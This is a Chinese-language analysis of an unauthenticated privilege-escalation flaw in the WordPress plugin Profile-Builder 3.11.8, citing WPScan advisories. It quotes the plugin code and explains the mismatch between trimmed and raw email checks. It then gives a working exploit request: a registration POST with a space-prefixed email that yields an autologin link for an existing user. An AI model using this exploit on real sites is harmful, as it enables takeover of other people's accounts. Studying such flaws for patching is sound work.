这是wordpress插件 Profile-Builder 的一个漏洞 有点类似早期的wordpress用户注册漏洞 具体来讲是因为判断时没有统一param来源 导致部分使用的trim后的数据 另一部分验证使用原始数据

分析漏洞成因

https://downloads.wordpress.org/plugin/profile-builder.3.11.8.zip

front-end/default-fields/email/email.php:59

function wppb_check_email_value( $message, $field, $request_data, $form_location ){
    global $wpdb;

    if ( isset( $request_data['email'] ) ) {

        $request_data['email'] = apply_filters('wppb_before_processing_email_from_forms', stripslashes( $request_data['email'] ) );

        if ((isset($request_data['email']) && (trim($request_data['email']) == '')) && ($field['required'] == 'Yes'))
            return wppb_required_field_error($field["field-title"]);

        if (isset($request_data['email']) && !is_email(trim($request_data['email']))) {
            return __('The email you entered is not a valid email address.', 'profile-builder');
        }
...
$users = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->users} WHERE user_email = %s", $request_data['email']));

        if (!empty($users)) {
            if ($form_location == 'register')
                return __('This email is already in use.', 'profile-builder') . '<br/>' . __('Please try a different one!', 'profile-builder');

可以看到前面使用的wp自带的is_mail去判断trim后的数据,而后面去数据库查询是否已经注册使用的是原生数据 这就导致了可以使用空格同时进入前后两条逻辑 从而进入到最后的注册成功逻辑

而注册成功之后有一个自动登录逻辑 根据后台设置是否自动登录(默认不自动登录)来进入对应的身份 而其本质是获取wpnonce

front-end/class-formbuilder.php:351

if( $this->args['form_type'] == 'register' ) {
...
                        // CHECK FOR REDIRECT
                        $redirect = $this->wppb_get_redirect( 'register', 'after_registration', $account_name, $user_role );

                        // using case-insensitive string comparison to allow for both 'Yes' and 'yes'
                        if( strcasecmp($this->args['login_after_register'], 'Yes') == 0 ) {
                            $redirect = $this->wppb_log_in_user( $this->args['redirect_url'], $redirect );
                        }

                        echo $form_message_tpl_start . wp_kses_post( $wppb_register_success_message )  . $form_message_tpl_end . $redirect; /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */  /* properly escaped above */

                        ob_end_flush();

我们检查wppb_log_in_user

function wppb_log_in_user( $redirect, $redirect_old ) {
        if( is_user_logged_in() ) {
            return;
        }

        $wppb_general_settings = get_option( 'wppb_general_settings' );

        if ( isset( $wppb_general_settings['emailConfirmation'] ) && ( $wppb_general_settings['emailConfirmation'] == 'yes' ) ) {
            return $redirect_old;
        }

        /* get user id */
        if( empty( $_POST['email'] ) )
            return;

        $user = get_user_by( 'email', trim( sanitize_email( $_POST['email'] ) ) );

        if( !$user )
            return;

        $nonce = wp_create_nonce( 'autologin-'. $user->ID .'-'. (int)( time() / 60 ) );

可以关注到这里使用的get_user_by 也是经过处理的 sanitize_email( $_POST['email'] )

这就使得整个流程显然为: 注册前面带空格的邮箱 但是其实会注册失败 但是逻辑上认为其注册成功 然后通过get_user_by会查询到未带空格的邮箱 并进行自动登录

在wpscan的分析报告中 并未提到如何获取wpnonce 根据对代码的分析 wpnonce本质就是登录id的凭证

/* set action for automatic login after registration */
add_action( 'init', 'wppb_autologin_after_registration' );
function wppb_autologin_after_registration(){
    if( isset( $_GET['autologin'] ) && isset( $_GET['uid'] ) && isset( $_REQUEST['_wpnonce'] ) ){
        $uid = absint( $_GET['uid'] );

        $arr_params = array( 'autologin', 'uid', '_wpnonce' );
        $current_page_url = remove_query_arg( $arr_params, wppb_curpageurl() );

        if ( ! ( wp_verify_nonce( sanitize_text_field( $_REQUEST['_wpnonce'] ) , 'autologin-'.$uid.'-'.(int)( time() / 60 ) ) || wp_verify_nonce( sanitize_text_field( $_REQUEST['_wpnonce'] ) , 'autologin-'.$uid.'-'.(int)( time() / 60 - 1 ) ) ) ){
            wp_redirect( $current_page_url );
            exit;
        } else {
            wp_set_auth_cookie( $uid );
            wp_redirect( $current_page_url );
            exit;
        }
    }
}

这行代码会在全局挂载

add_action( 'init', 'wppb_autologin_after_registration' );

这也就意味着_wpnonce是必须获取的 或者说 其实只要有_wpnonce 我们就可以直接登录 而获取_wpnonce的方式我们在全局里查询 并没有跟踪到其他地方的输出 这也就意味着后台的自动登录功能是必须开启的

漏洞利用

基于我们已经理解了漏洞的形成 我们可以直接在后台创建文章放入shortcode [wppb-register] 访问 此时的数据包类似如下 篇幅问题重点关注email部分

POST /2024/11/22/tttt/ HTTP/1.1
Host: 192.168.31.40
Connection: close

------WebKitFormBoundarymhHEju6xYKaPwrBh
Content-Disposition: form-data; name="email"

 dada@dada.com
------WebKitFormBoundarymhHEju6xYKaPwrBh
Content-Disposition: form-data; name="website"

...

------WebKitFormBoundarymhHEju6xYKaPwrBh
Content-Disposition: form-data; name="_wp_http_referer"

/2024/11/22/tttt/
------WebKitFormBoundarymhHEju6xYKaPwrBh--

在后台成功登录之后 可以看到

3;url=http://192.168.31.40/2024/11/22/tttt/?autologin=true&uid=1&_wpnonce=7f0d2c68db

类似于这样的跳转路径 然后访问后台路径即可以对应的用户登录

关于限制和展望

漏洞的成因导致了其利用限制如下

  1. 需要有一个使用了注册shortcode的页面
  2. 后台需要开启自动登录
  3. 需要知道对应的邮箱

类似的漏洞 其实放开了讲 跟去年orange所述的“解析差异化”本质上是相同的 对于参数的验证标准没有统一 而这也是很多软件开发的时候 甚至是在使用多个组件组成系统的时候 其差异化 造成不同代码部分理解的不一致 而其实这也是rfc标准存在的意义

参考

  1. https://wpscan.com/blog/unauthenticated-privilege-escalation-in-profile-builder-plugin/
  2. https://wpscan.com/vulnerability/4afa5c85-ce27-4ca7-bba2-61fb39c53a5b/